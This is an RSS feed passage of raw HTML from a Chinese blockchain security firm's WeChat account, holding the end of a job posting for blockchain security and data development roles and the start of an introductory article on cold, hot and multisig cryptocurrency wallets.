</span><span style="caret-color: red;">熟悉</span><span style="caret-color: red;">Ethereum</span><span style="caret-color: red;">、</span><span style="caret-color: red;">Bitcoin</span><span style="caret-color: red;">等主流区块链的工作原理；</span><span style="caret-color: red;"></span></p><p style="text-autospace:ideograph-numeric;line-height:27px;"><span style="caret-color: red;">2. 熟悉智能合约底层的运行机制，能够熟练编写智能合约代码；</span></p><p style="text-autospace:ideograph-numeric;line-height:27px;"><span style="caret-color: red;">3. 熟悉python/golang/javascript、solidity或其他智能合约语言；</span></p><p style="text-autospace:ideograph-numeric;line-height:27px;"><span style="caret-color: red;">4. 拥有良好的计算机基础知识和英语阅读能力；</span></p><p style="text-autospace:ideograph-numeric;line-height:27px;"><span style="caret-color: red;">5. 拥有良好的团队协作精神和执行力，较强的分析和解决问题能力；</span></p><p style="text-autospace:ideograph-numeric;line-height:27px;"><span style="caret-color: red;">6. 统招本科及以上学历（能力突出者学历和专业不限）；</span></p><p style="text-autospace:ideograph-numeric;line-height:27px;"><span style="caret-color: red;">7. 无犯罪记录，不得有黑灰产从业经历与背景。</span></p></section><section data-autoskip="1" style="line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(41, 41, 41);margin-top: 15px;"><section style="display: inline-block;"><section data-brushtype="text" style="font-size: 16px;padding-top: 4px;padding-right: 1em;padding-bottom: 4px;color: rgb(59, 33, 206);text-align: left;"><p style="line-height:1.75em;"><strong>加分项</strong></p></section><section style="height: 12px;width: 100%;background: rgb(248, 218, 22);margin-top: -13px;overflow: hidden;" data-width="100%"><br/></section></section><p><span style="text-decoration-style: solid;text-decoration-color: rgb(41, 41, 41);font-family: 微软雅黑, sans-serif;">1. 掌握密码学、web2安全、逆向工程等相关学科知识；</span></p><p><span style="text-decoration-style: solid;text-decoration-color: rgb(41, 41, 41);font-family: 微软雅黑, sans-serif;">2. 了解区块链经济模型，具备金融领域相关背景；</span></p><p><span style="text-decoration-style: solid;text-decoration-color: rgb(41, 41, 41);font-family: 微软雅黑, sans-serif;">3. 具备区块链安全背景。</span></p></section></section></section></section></section></section></section><section data-tools="135编辑器" data-id="99881"><section style="margin-right: auto;margin-bottom: 10px;margin-left: auto;text-align: left;"><section style="display:inline-block;"><section style="text-align: center;font-size:80px;color:#fbe219;"><br/></section><section style="margin-top: -80px;"><section data-brushtype="text" style="font-size:16px;letter-spacing:1.5px;text-align: center;color:#3b21ce;" hm_fix="335:525"><p style="line-height:1.75em;"><strong><span style="color: #fbe219;">四、</span></strong><span style="caret-color: red;font-family: 宋体;"><strong>数据开发  </strong></span><span style="caret-color: red;font-family: Calibri;"><strong>15-33</strong></span><span style="caret-color: red;font-family: 宋体;"><span style="font-family: Calibri;"><strong>k</strong></span></span><span style="caret-color: red;font-family: Calibri;"><strong> 14</strong></span><span style="caret-color: red;font-family: 宋体;"><strong>薪</strong></span></p></section><section style="display: flex;justify-content: center;align-items: center;padding-top: 10px;"><section style="width: 45%;height: 4px;background: rgb(59, 33, 206);overflow: hidden;max-width: 45% !important;" data-width="45%"><br/></section></section></section></section></section></section><section data-id="99870" data-tools="135编辑器" data-color="#3b21ce"><section style="margin: 10px auto;"><section style="border-width: 1px;border-style: solid;border-color: rgb(59, 33, 206);padding: 4px;"><section style="border-width: 1px;border-style: solid;border-color: rgb(59, 33, 206);padding: 1em;"><section><section style="display: inline-block;"><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;padding-top: 4px;padding-right: 1em;padding-bottom: 4px;color: rgb(59, 33, 206);text-align: left;"><p style="line-height:1.75em;"><strong>岗位职责</strong></p></section><section style="height: 12px;width: 100%;background: rgb(248, 218, 22);margin-top: -13px;overflow: hidden;" data-width="100%"><br/></section></section><p style="text-autospace:ideograph-numeric;line-height:27px;"><span style="color: #292929;font-size: 14px;caret-color: red;">1. 负责使用SQL、graphsql、shell、Python等语言进行数据开发；</span></p><p style="text-autospace:ideograph-numeric;line-height:27px;"><span style="color: #292929;font-size: 14px;caret-color: red;">2. 根据业务需求，通过数据挖掘、自然语言处理或其他手段，建立针对性的识别或者分类模型；</span></p><p style="text-autospace:ideograph-numeric;line-height:27px;"><span style="color: #292929;font-size: 14px;caret-color: red;">3. 负责协助数据分析师进行数据分析项目；</span></p></section><section style="margin-top: 1em;"><section style="display: inline-block;"><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;padding-top: 4px;padding-right: 1em;padding-bottom: 4px;color: rgb(59, 33, 206);text-align: left;"><p style="line-height:1.75em;"><strong>工作要求</strong></p></section><section style="height: 12px;width: 100%;background: rgb(248, 218, 22);margin-top: -13px;overflow: hidden;" data-width="100%"><br/></section></section><section style="margin-top: 1em;"><section data-autoskip="1" style="line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(41, 41, 41);"><p style="line-height: 1.75em;"><span style="caret-color: red;">1</span><span style="caret-color: red;">. </span><span style="caret-color: red;">全日制本科及以上学历，计算机</span><span style="caret-color: red;">/</span><span style="caret-color: red;">数学类相关专业，有相关工作经验者优先；</span><span style="caret-color: red;"></span></p><p style="text-autospace:ideograph-numeric;line-height:27px;"><span style="caret-color: red;">2. 精通Python、Java、Golang等语言中的一种或多种；</span></p><p style="text-autospace:ideograph-numeric;line-height:27px;"><span style="caret-color: red;">3. 熟练掌握SQL脚本语言；</span></p><p style="text-autospace:ideograph-numeric;line-height:27px;"><span style="caret-color: red;">4. 具备良好的项目交付跟团队协作能力，能够组织跨团队协作、推动项目落地；</span></p><p style="text-autospace:ideograph-numeric;line-height:27px;"><span style="caret-color: red;">5. 有区块链相关背景优先；</span></p><p><span style="caret-color: red;">6. 具有良好的理解沟通能力，熟悉行业业务特点者优先考虑。</span></p></section><section data-autoskip="1" style="line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(41, 41, 41);margin-top: 15px;"><section style="display: inline-block;"><section data-brushtype="text" style="font-size: 16px;padding-top: 4px;padding-right: 1em;padding-bottom: 4px;color: rgb(59, 33, 206);text-align: left;"><p style="line-height:1.75em;"><strong>加分项</strong></p></section><section style="height: 12px;width: 100%;background: rgb(248, 218, 22);margin-top: -13px;overflow: hidden;" data-width="100%"><br/></section></section><p style="text-autospace:ideograph-numeric;line-height:27px;"><span style="text-decoration-style: solid;text-decoration-color: rgb(41, 41, 41);font-family: 微软雅黑, sans-serif;">1. 了解区块链经济模型，具备金融领域相关背景；</span></p><p style="text-autospace:ideograph-numeric;line-height:27px;"><span style="text-decoration-style: solid;text-decoration-color: rgb(41, 41, 41);font-family: 微软雅黑, sans-serif;">2. 掌握区块链相关背景知识；</span></p><p style="text-autospace:ideograph-numeric;line-height:27px;"><span style="text-decoration-style: solid;text-decoration-color: rgb(41, 41, 41);font-family: 微软雅黑, sans-serif;">3. 掌握区块链资金、人民币资金追踪相关技能。</span></p></section></section></section></section></section></section></section><section data-role="paragraph"><p><br/></p></section><section data-role="paragraph"><p><br/></p><section data-tools="135编辑器" data-id="102525"><section style="margin: 10px auto;text-align: center;"><section style="display: flex;justify-content: center;align-items: center;"><section style="background-image: linear-gradient(to right, rgba(253, 123, 119, 0) 0%, rgb(59, 92, 244) 100%);height: 1px;margin-left: 6px;flex: 1 1 0%;overflow: hidden;"><br/></section><section style="margin-right: 10px;margin-left: 10px;"><section style="width: 30px;height: 30px;background: rgb(59, 92, 244);line-height: 30px;color: rgb(255, 255, 255);font-size: 16px;font-style: italic;transform: rotate(0deg);" data-num="3"><p style="line-height:1.75em;">3</p></section><section style="width: 30px;height: 30px;background: rgb(255, 199, 86);margin-left: 5px;margin-top: -25px;overflow: hidden;"><br/></section></section><section style="background-image: linear-gradient(to left, rgba(253, 123, 119,0) 0%, #ffc756 100%);height: 1px;flex: 1;"><br/></section></section></section></section></section><section data-tools="135编辑器" data-id="99884"><section style="margin: 10px auto;text-align: center;"><section style="display: inline-block;"><section style="display: flex;"><section style="display: inline-block;align-self: flex-end;margin-top: 25px;"><section style="height: 20px;background: #fbe219;align-self: flex-end;overflow: hidden;"> </section><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;text-align: left;color: rgb(59, 33, 206);margin-top: -10px;padding-right: 5px;"><p style="line-height:1.75em;"><strong>福利待遇</strong></p></section></section><section style="width: 45px;height: 45px;border-radius: 100%;background: rgb(251, 226, 25);margin-left: 8px;align-self: flex-start;"><br/></section></section><section data-brushtype="text" style="font-size:12px;letter-spacing:1.5px;text-align: left;color:#fbe219;margin-top: 2px;"><p style="line-height:1.75em;"><strong>      Remuneration</strong></p></section></section></section></section><section data-tools="135编辑器" data-id="117195"><section style="margin: 20px auto;"><section style="transform-style: preserve-3d;"><section style="width: 25px;transform: translateZ(10px);"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 31.37 25.54" style="display: block;"><g><g><path style="fill:#3b5cf4;" d="M13.41,2.39C7.9,5.11,5.27,9.5,5,12.13,8.7,13,12.77,15,12.77,19.8c0,3.35-2.63,5.74-6.22,5.74C2.79,25.54,0,22.83,0,17.72A18.66,18.66,0,0,1,12.05,0Zm18,0C25.86,5.11,23.23,9.5,23,12.13c3.59.88,7.74,2.88,7.74,7.67,0,3.35-2.63,5.74-6.22,5.74-3.75,0-6.55-2.71-6.55-7.82A18.69,18.69,0,0,1,29.94,0Z"></path></g></g></svg></section><section style="padding-left: 15px;margin-top: -7px;transform: translateZ(5px);-webkit-transform: translateZ(5px);-moz-transform: translateZ(5px);-ms-transform: translateZ(5px);-o-transform: translateZ(5px);"><section style="border-right: 1px solid rgb(59, 92, 244);border-bottom: 1px solid rgb(59, 92, 244);"><section style="background-color: #fafafa;padding: 15px;transform: translate(-5px, -5px);-webkit-transform: translate(-5px, -5px);-moz-transform: translate(-5px, -5px);-ms-transform: translate(-5px, -5px);-o-transform: translate(-5px, -5px);"><section data-autoskip="1" style="line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;background: transparent;"><p style="text-autospace:ideograph-numeric;line-height:27px;"><span style="color: rgb(41, 41, 41);text-decoration-style: solid;text-decoration-color: rgb(41, 41, 41);font-family: 微软雅黑, sans-serif;">1、北京市朝阳区、长沙市岳麓区，两个办公地点可选。</span></p><p style="text-autospace:ideograph-numeric;line-height:27px;"><span style="color: rgb(41, 41, 41);text-decoration-style: solid;text-decoration-color: rgb(41, 41, 41);font-family: 微软雅黑, sans-serif;">2、入职缴纳五险一金，周末双休，工作时间965（拒绝996）；享受各法定节假日、带薪年假、福利病假等；每年组织健康体检。</span></p><p style="text-autospace:ideograph-numeric;line-height:27px;"><span style="color: rgb(41, 41, 41);text-decoration-style: solid;text-decoration-color: rgb(41, 41, 41);font-family: 微软雅黑, sans-serif;">3、丰厚的项目奖金（最高可达项目合同金额10%），每年调薪一次。</span></p><p style="text-autospace:ideograph-numeric;line-height:27px;"><span style="color: rgb(41, 41, 41);text-decoration-style: solid;text-decoration-color: rgb(41, 41, 41);font-family: 微软雅黑, sans-serif;">4、团队年轻有活力；不定期举行员工各类文体活动，如：节日活动、各类聚餐、年会等；零食饮品不限量供应。</span></p><p style="text-autospace:ideograph-numeric;line-height:27px;"><span style="color: rgb(41, 41, 41);text-decoration-style: solid;text-decoration-color: rgb(41, 41, 41);font-family: 微软雅黑, sans-serif;">5、入职后可根据需求提供定制办公电脑一台（mac/windows、台式/笔记本任选）。</span></p><p style="text-autospace:ideograph-numeric;line-height:27px;"><br/></p><p style="text-align:justify;line-height: 27px;"><span style="font-size: 14px;letter-spacing: normal;"><strong><span style="letter-spacing: normal;font-size: 14px;text-decoration-style: solid;text-decoration-color: rgb(41, 41, 41);color: rgb(59, 33, 206);font-family: 微软雅黑, sans-serif;">欢迎积极推荐身边适合的朋友，候选人试用期满，推荐人可获得 iPhone 14 pro 一台哦～</span></strong></span></p></section></section></section></section></section></section></section><section data-role="paragraph"><p><br/></p></section><section data-tools="135编辑器" data-id="99863" data-color="#3b21ce"><section style="margin: 10px auto;"><section style="display: flex;justify-content: space-around;align-items: flex-start;"><section style="display: inline-block;"><section style="display: flex;justify-content: flex-end;align-items: flex-end;"><section style="width: 30%;height: 2px;background: rgb(59, 33, 206);align-self: flex-start;overflow: hidden;max-width: 30% !important;" data-width="30%"><br/></section><section style="width: 2px;height: 40px;background: rgb(59, 33, 206);overflow: hidden;"><br/></section></section><section style="width: 119px;margin-top: -30px;margin-right: 6px;margin-left: 6px;" data-width="119px"><img class="rich_pages wxw-img" data-ratio="1.0028943560057888" width="100%" data-type="png" data-w="691" data-width="100%" style="box-sizing: border-box;vertical-align: inherit;width: 100%;display: block;" src="https://wechat2rss.xlab.app/img-proxy/?k=7f696f5a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldc17ZvmwlKlAghb5zSdNLw4plrclL8zwHjf59jULfv1CIcQ7v8gyGWuh8TQ1AF8qzw7YASex8YtCw%2F640%3Fwx_fmt%3Dpng"/></section><section style="display: flex;justify-content: flex-start;align-items: flex-end;margin-top: -30px;"><section style="width: 2px;height: 40px;background: rgb(59, 33, 206);align-self: flex-start;overflow: hidden;"><br/></section></section></section><section style="border-bottom: 2px solid rgb(59, 33, 206);padding-bottom: 6px;margin-left: 10px;"><section style="background: #fae019;display: inline-block;border-top-right-radius: 15px;"><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;padding: 6px 1em;color: rgb(59, 33, 206);"><p style="line-height:1.75em;"><strong>想了解更多？</strong></p></section></section><section style="margin-top: 8px;"><section data-brushtype="text" style="font-size: 14px;letter-spacing: 1.5px;padding: 4px 0em;"><p style="line-height:1.75em;"><strong>可扫描二维码添加HR微信</strong></p></section><section data-brushtype="text" style="font-size: 14px;letter-spacing: 1.5px;padding: 4px 0em;"><p style="line-height:1.75em;"><strong>简历投递邮箱:</strong></p><p style="line-height:1.75em;"><strong>nj@zeromirror.cn</strong></p></section></section></section></section></section></section><section data-tools="135编辑器" data-id="97730"><section style="margin:50px auto 10px;"><section style="color: #3b5cf4;"><section data-brushtype="text" style="text-indent:1em;font-size:14px;text-align: left;"><br/></section><section data-brushtype="text" style="text-indent:1em;font-size:14px;text-align: left;"><br/></section><section data-brushtype="text" style="text-indent:1em;font-size:14px;text-align: left;"><strong>点击“分享”让更多朋友知道</strong></section></section><section style="width: 100%;margin-right: auto;margin-left: auto;margin-top: -50px;pointer-events: none;" data-width="100%"><img data-ratio="0.16802610114192496" style="box-sizing: border-box;vertical-align: inherit;width: 100%;display: block;" data-type="png" data-w="613" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=1e060eea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldc17ZvmwlKlAghb5zSdNLw4bmh9WgI3sIsEwFmq0VF0l8pVyEKrE8G9oDW3xXicWA9IMBlbUjJWSJA%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section>



<p><a href="2247496569">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f8b2d2a2&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkzODE2NjgyNQ%3D%3D%26mid%3D2247496569%26idx%3D1%26sn%3D4f76c76667fa9f9265822a3e4fd4e3a6%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 19 Sep 2022 12:31:00 +0800</pubDate>
    </item>
    <item>
      <title>走进区块链的第一步：钱包服务</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247496549&amp;idx=1&amp;sn=d95aa6140d4c136a43c299c57a8be58b</link>
      <description>本文主要关注区块链上使用较广泛的钱包服务：多签钱包和分层确定性钱包。</description>
      <content:encoded><![CDATA[<p>
原创 <span>零鉴科技</span> <span>2022-09-07 18:47</span> <span style="display: inline-block;">湖南</span>
</p>

<p>本文主要关注区块链上使用较广泛的钱包服务：多签钱包和分层确定性钱包。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=31a23411&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fe9yMd8aXldfdtlKib4iaX4lSzWUuPKbf04h24WpQZdyqqdcVMRvRicM88vIiawjalPhJyJCBNgBFhBQPiaibWFGic6PXA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-mpa-template="t" mpa-from-tpl="t" data-mpa-powered-by="yiban.io"><section style="width: 100%;padding: 0px 10px;margin-bottom: 24px;"><section style="width: 100%;display: flex;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="width: 34px;height: 22px;display: flex;justify-content: center;align-items: center;align-self: flex-start;z-index: 1;margin-bottom: -11px;margin-left: 13px;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="0.6470588235294118" data-w="68" src="https://wechat2rss.xlab.app/img-proxy/?k=51de6f02&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fia4VZTpyNAz6giawl424HnR11Mj8qXZSPZpLqjgDVANGTqsOLkLYQfuMvARiaiaexDfkYwJPpfcTNiasNeibKGG2QULg%2F640%3Fwx_fmt%3Dpng"/></section><section style="width: 100%;background: #F3F5F5;padding: 14px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="530" data-cropsely1="0" data-cropsely2="406" data-ratio="1" style="width: 530px;height: 530px;" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=5499997e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fe9yMd8aXldfdtlKib4iaX4lSzWUuPKbf04z6Tv9GIL51vclAicuz9xvINWgIMQs4W7BibicrZlIxSBbLeGlLibrymDjw%2F640%3Fwx_fmt%3Djpeg"/></section></section><section style="width: 34px;height: 22px;display: flex;justify-content: center;align-items: center;align-self: flex-end;z-index: 1;margin-right: 22px;margin-top: -11px;" data-mid="" mpa-from-tpl="t"><img data-ratio="0.6764705882352942" data-w="68" src="https://wechat2rss.xlab.app/img-proxy/?k=914f7779&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpwWzymaOBKlIf7xGtmT2hHIqmYXDP8w6Fo2J0hdjia3IAu7YHyp9941Zs7tHBGbv2AfHkdu6Vv9L42T3EbwH3qg%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section><p><br/></p><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="font-family: Cambria;font-weight: bold;letter-spacing: 1px;font-size: 16px;color: rgb(40, 104, 176);">加密货币钱包</span><span style="letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);font-family: Cambria;">（Cryptocurrency wallet），是存储加密数字货币的公钥与私钥、私钥所对应的地址、该地址（群）的货币结算，以及货币交易的支持系统。</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="font-family: Cambria;letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);">按照私钥存储方式，可以将钱包分为冷钱包和热钱包。</span></section><section data-mpa-template="t" mpa-from-tpl="t"><section style="padding:1px 5px;font-size:14px;white-space:normal;" mpa-from-tpl="t"><h2 style="border-left: 5px solid rgb(1, 1, 1);font-weight: bold;line-height: 32px;color: rgb(1, 1, 1);padding-right: 10px;padding-left: 10px;margin: 5px;border-top-color: rgb(1, 1, 1);border-bottom-color: rgb(1, 1, 1);border-right-color: rgb(1, 1, 1);"><section style="border-color: rgb(1, 1, 1);margin-bottom: 24px;"><span style="font-size: 18px;color: rgb(0, 0, 0);"><strong mpa-from-tpl="t">冷钱包</strong></span></section></h2></section></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;text-indent: -24pt;">冷钱包（Cold Wallet），与热钱包相对应，也称离线钱包或者断网钱包，指网络不能访问到用户私钥的钱包。</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;text-indent: -24pt;">冷钱包通常依靠“冷”设备（不联网的电脑，手机，专用的存储介质等）确保比特币私钥的安全，运用二维码通信让私钥不触网，避免了被黑客盗取私钥的风险，但是也可能面临物理安全风险。</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;text-indent: -24pt;">将私钥存储在额外的特制硬件设备，使用时交易需在硬件内部进行交易签署才提交，只要硬件没有被破解，就能够保障私钥的安全性。</span></section><section data-mpa-template="t" mpa-from-tpl="t"><section style="padding:1px 5px;font-size:14px;white-space:normal;" mpa-from-tpl="t"><h2 style="border-left: 5px solid rgb(1, 1, 1);font-weight: bold;line-height: 32px;color: rgb(1, 1, 1);padding-right: 10px;padding-left: 10px;margin: 5px;border-top-color: rgb(1, 1, 1);border-bottom-color: rgb(1, 1, 1);border-right-color: rgb(1, 1, 1);"><section style="border-color: rgb(1, 1, 1);margin-bottom: 24px;"><span style="font-size: 18px;color: rgb(0, 0, 0);"><strong mpa-from-tpl="t">热钱包</strong></span></section></h2></section></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;text-indent: -24pt;">热钱包（Hot Wallet），与冷钱包相对应，也称在线钱包或者联网钱包（Online Wallet），指网络能够访问到用户私钥的钱包。</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;text-indent: -24pt;">热钱包因其联网特性，外人可能通过互联网访问到用户存储私钥的设备，因此安全性比冷钱包低，但比冷钱包更便利。</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><strong><span style="font-family: Cambria;font-weight: bold;letter-spacing: 1px;font-size: 16px;color: rgb(40, 104, 176);">本文主要关注区块链上使用较广泛的钱包服务：多签钱包和分层确定性钱包（助记词钱包）。</span></strong></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><strong><span style="font-family: Cambria;font-weight: bold;letter-spacing: 1px;font-size: 16px;color: rgb(40, 104, 176);"><br/></span></strong></section><section style="margin-bottom: 24px;"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="width: 14px;height: 15px;display: flex;justify-content: center;align-items: center;align-self: flex-start;z-index: 1;background: #FFFFFF;margin-bottom: -15px;margin-left: -2.1px;" data-mid="" mpa-from-tpl="t"><img data-ratio="1.0833333333333333" data-w="12" src="https://wechat2rss.xlab.app/img-proxy/?k=94dadb99&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_svg%2FJVDECnNjedGVpoJMz3uW6z4rwwr0GJK5GwTjjMX8HdkwxuFiavhibvca4qAlXTKCaE6YGkZibSKEebNtAC56WAeNtibxuAjPgSAJ%2F640%3Fwx_fmt%3Dsvg"/></section><section style="width: 14px;height: 15px;display: flex;justify-content: center;align-items: center;align-self: flex-end;z-index: 1;margin-bottom: -13px;margin-right: -2.1px;background: #FFFFFF;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="1.0833333333333333" data-w="12" src="https://wechat2rss.xlab.app/img-proxy/?k=4470c4d2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_svg%2FqE9MKluetOlD8gpGKew1L3bpxQxia8sSu6bicyAqpRpICVLyPe0q1KBPcqxTdGsXVKuM4bZEYAqMXtWD9UKm7QmrDIADHSknIv%2F640%3Fwx_fmt%3Dsvg"/></section><section style="text-align: center;border-width: 1px;border-style: solid;border-color: rgb(27, 27, 27);padding: 9px 9px 7px 18px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, PingFang SC;font-weight: bold;color: #FFFFFF;line-height: 22px;letter-spacing: 2px;text-shadow: 1px 1px 0px #2A2A2A, 1px 0px 0px #2A2A2A, 0px 1px 0px #2A2A2A, 0px -1px 0px #2A2A2A, -1px 0px 0px #2A2A2A, -1px 1px 0px #2A2A2A, 1px -1px 0px #2A2A2A, -1px -1px 0px #2A2A2A;" data-mid="">多签钱包</p></section><section style="width: 14px;height: 15px;display: flex;justify-content: center;align-items: center;align-self: flex-start;z-index: 1;background: #FFFFFF;margin-top: -13px;margin-left: -2.1px;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="1.0833333333333333" data-w="12" src="https://wechat2rss.xlab.app/img-proxy/?k=5d12a14b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_svg%2FanblvjPKYbMeTTBE04NJlC7xdHcTw0Zr2pw7oRyyyU1OcS1bxCDIicTTfULAxI3Nnsxp4DQrOfHEicHzybp6icibpcHM9168PpAZ%2F640%3Fwx_fmt%3Dsvg"/></section><section style="width: 14px;height: 15px;display: flex;justify-content: center;align-items: center;align-self: flex-end;z-index: 1;margin-top: -15px;margin-right: -2.1px;background: #FFFFFF;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="1.0833333333333333" data-w="12" src="https://wechat2rss.xlab.app/img-proxy/?k=5f57a8d4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_svg%2FSYeWkon6C6JqUEnNYf8gnGKoWbXBpu9W48RrnGlj4ia1vX8m9PvwR0icA3q8DTEbJZHje4bZ2KDUP5DJP7PRxvmxyXs3UEYMOR%2F640%3Fwx_fmt%3Dsvg"/></section></section></section></section><section data-mpa-template="t" mpa-from-tpl="t"><section mpa-from-tpl="t"><section style="margin: 10px 0px;" mpa-from-tpl="t"><section style="padding-right: 30px;display: inline-block;font-size: 18px;height: 40px;line-height: 40px;border-bottom: 1px solid rgb(67, 46, 46);" mpa-from-tpl="t"> <strong> 简介</strong></section><section style="width: 50px;border-top: 3px solid rgb(67, 46, 46);" mpa-from-tpl="t"><br/></section></section></section></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="font-family: Cambria;letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);">多签钱包，顾名思义，就是需要多个人去签名执</span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;text-indent: 0pt;">行某个操作的钱包。使用多签钱包进行转账时，往往需要大于 1 个人去签名发送交易之后，转账操作才真正完成。</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;text-indent: 0pt;">使用多签钱包时，可以指定 m/n 的签名模式，就是 n 个人里面有 m 个人签名即可完成操作。多签规则可以根据自己的需求进行设置，例如：</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="color: rgb(40, 104, 176);"><strong><span style="letter-spacing: 1px;text-indent: -24pt;">• 1/2 多签模式：</span></strong></span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;text-indent: -24pt;">两个互相信任的朋友或自己的两个钱包，可以凭各自的私钥独立发起交易（类似于合伙账户）。</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="color: rgb(40, 104, 176);"><strong><span style="letter-spacing: 1px;text-indent: -24pt;">• 2/2 多签模式：</span></strong></span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;text-indent: -24pt;">金库中的资金需要2个管理员均同意才能动用这笔资金（需要两个私钥才能转移资金）。</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="color: rgb(40, 104, 176);"><strong><span style="letter-spacing: 1px;text-indent: -24pt;">• 2/3 多签模式：</span></strong></span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;text-indent: -24pt;">三个合伙人共同管理资金，为了规避私钥丢失的风险，其中两个私钥签名就可以转移资金。</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="font-family: Cambria;letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);">多签钱包的验证过程类似于数字签名的验证，通过公私钥算法对签名内容进行校验，并判断当前签名的信息是否由特定的私钥进行签署。</span></section><section style="text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;margin: 16px 16px 24px;"><span style="font-family: Cambria;letter-spacing: 1px;font-size: 16px;color: rgb(84, 84, 84);"><br/></span></section><section data-mpa-template="t" mpa-from-tpl="t"><section mpa-from-tpl="t"><section style="margin: 10px 0px;" mpa-from-tpl="t"><section style="padding-right: 30px;display: inline-block;font-size: 18px;height: 40px;line-height: 40px;border-bottom: 1px solid rgb(67, 